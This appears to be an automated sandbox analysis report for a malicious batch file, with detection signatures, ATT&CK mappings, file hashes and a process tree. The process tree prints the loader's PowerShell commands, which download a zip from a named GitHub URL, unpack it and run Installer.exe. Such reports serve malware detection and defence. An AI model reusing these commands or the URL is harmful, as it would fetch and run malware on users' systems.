749bdd917aab23856d306968b7b0f148caa3dd68efb06e78ff59a31c715885a2

Analysis

user interaction
yes
max time kernel
30s
max time network
22s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
18/08/2026, 04:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.bat
Size 484B
Sample260818-en76padr21
SHA256 749bdd917aab23856d306968b7b0f148caa3dd68efb06e78ff59a31c715885a2
MD5 d006344f4396f45b983fd957b491f157
SHA1 0b79f5e201127566417f436aaec67b4bfbb1a719
SHA512 d50f1d6789a5274fea85f3e495d279869fd82d4a0520043502beec81ac0ceb8598550d56eeb78bbd3c919bc7cf775d71f54fb05259b882131f6625fc0f3f3a64
TLSH
T16DF059922307E20C191250BDC7EE1A449689D4C8BB0860DE3079C12B492DADB55EF408
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4588	powershell.exe
8	4588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4588	powershell.exe
2588	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2004	Installer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4800	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4588	powershell.exe
4588	powershell.exe
2588	powershell.exe
2588	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 4588	4800	cmd.exe	85
PID 4800 wrote to memory of 2588	4800	cmd.exe	87
PID 4800 wrote to memory of 2004	4800	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/Pictures.zip' -OutFile 'C:\ProgramData\test\app_bundle.zip'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'C:\ProgramData\test\app_bundle.zip' -DestinationPath 'C:\ProgramData\test' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\ProgramData\test\Installer.exe
  "C:\ProgramData\test\Installer.exe"
  2⤵
  - Executes dropped EXE
  PID:2004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Installer.exe

Path C:\ProgramData\test\Installer.exe
Size 218KB
SHA256 224ce2894ce264e5857b2b8b6aff07e0f223e0c83b7d06be003cc918fd99f375
MD5 267d5f1b45ed96d710cd084b6434a26f
SHA1 a86c9a13e4096ded18363f0776144577a82b4d5b
SHA512 4e617936a14d96ec9257a1decf38d56ddec068ae19fa00ea72a9d95d0ab2b30cefbc020cfaab190b83f01f84d873f480ec0507e7075a6b3d37c996cb05a4a695
SSDEEP 3072:XqvmgiYSo4k8uIPzlSRwa/WB26mDIgfiliT:X6ok83LlMvQMIgfil
TLSH
T16524198BD65D93EAE0668E3A8D52D9E3E733BC154F6062DF07405BAA0E627C05E38315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app_bundle.zip

Path C:\ProgramData\test\app_bundle.zip
Size 91KB
SHA256 8ee9882b7497ce4e4818f80e518eb0e6401d4a66a4ef018206923712ee26be90
MD5 f53811aeec1a7d6ebea5988997e5c019
SHA1 af9166688e1b6340a65b106d75ed00d9629b480e
SHA512 d27db9bdbc8137bc8997c1aa11faead652f55bd3bd664ceeac534bb72b6ce98251104d6edca611f7014d7f93c90d087ef526b63b5aebe0dee4fb6b6d5d2e90c8
SSDEEP 1536:z6HuDctqZC8jPiWHJWKvZHEOfjhZ3H/qurEIA/Pz+RCm1EhWvqFsv0Pm1V+:zAEswJTBkOf/3/XA/PiRCHhwqFla+
TLSH
T18C9312A9ECB7021E88B3C5BD021EB36344D61709F35BCAF567A4F1790EDA4E4A382C55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5f2e5fc2549c658a42af3c6d95af7192a43665811cac48d5eb5db9cf183c98cb
MD5 65a5ee662b93b2e1915787083590784c
SHA1 f327de72047c6d34cbd648855dbd890cdd1eda40
SHA512 b181f1ea73616f515e0e20c9799e6ccea294ac808e5f8ef6d571cace16edabed4d9bbc384d975611a24d978bbebc24d3841cc714f7027a0281c76365371c953a
TLSH
T16B119723B79CC961CC85413B409C9D6076B2D7C7819EDE9F2FC4C208A07F588CB202A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0jttkzt2.kxq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jttkzt2.kxq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2588-35-0x00000293A38C0000-0x00000293A38CA000-memory.dmp

Download

memory/2588-16-0x00000293A3900000-0x00000293A3910000-memory.dmp

Download

memory/2588-15-0x00000293A3900000-0x00000293A3910000-memory.dmp

Download

memory/2588-25-0x00000293A3900000-0x00000293A3910000-memory.dmp

Download

memory/2588-33-0x00000293A38A0000-0x00000293A38BC000-memory.dmp

Download

memory/2588-34-0x00000293A6770000-0x00000293A6825000-memory.dmp

Download

memory/2588-36-0x00000293A38B0000-0x00000293A38C2000-memory.dmp

Download

memory/2588-37-0x00000293A38A0000-0x00000293A38AA000-memory.dmp

Download

memory/4588-10-0x000001D5251C0000-0x000001D5251D0000-memory.dmp

Download

memory/4588-0-0x000001D5251C0000-0x000001D5251D0000-memory.dmp

Download

memory/4588-2-0x000001D525150000-0x000001D525172000-memory.dmp

Download

memory/4588-1-0x000001D5251C0000-0x000001D5251D0000-memory.dmp

Download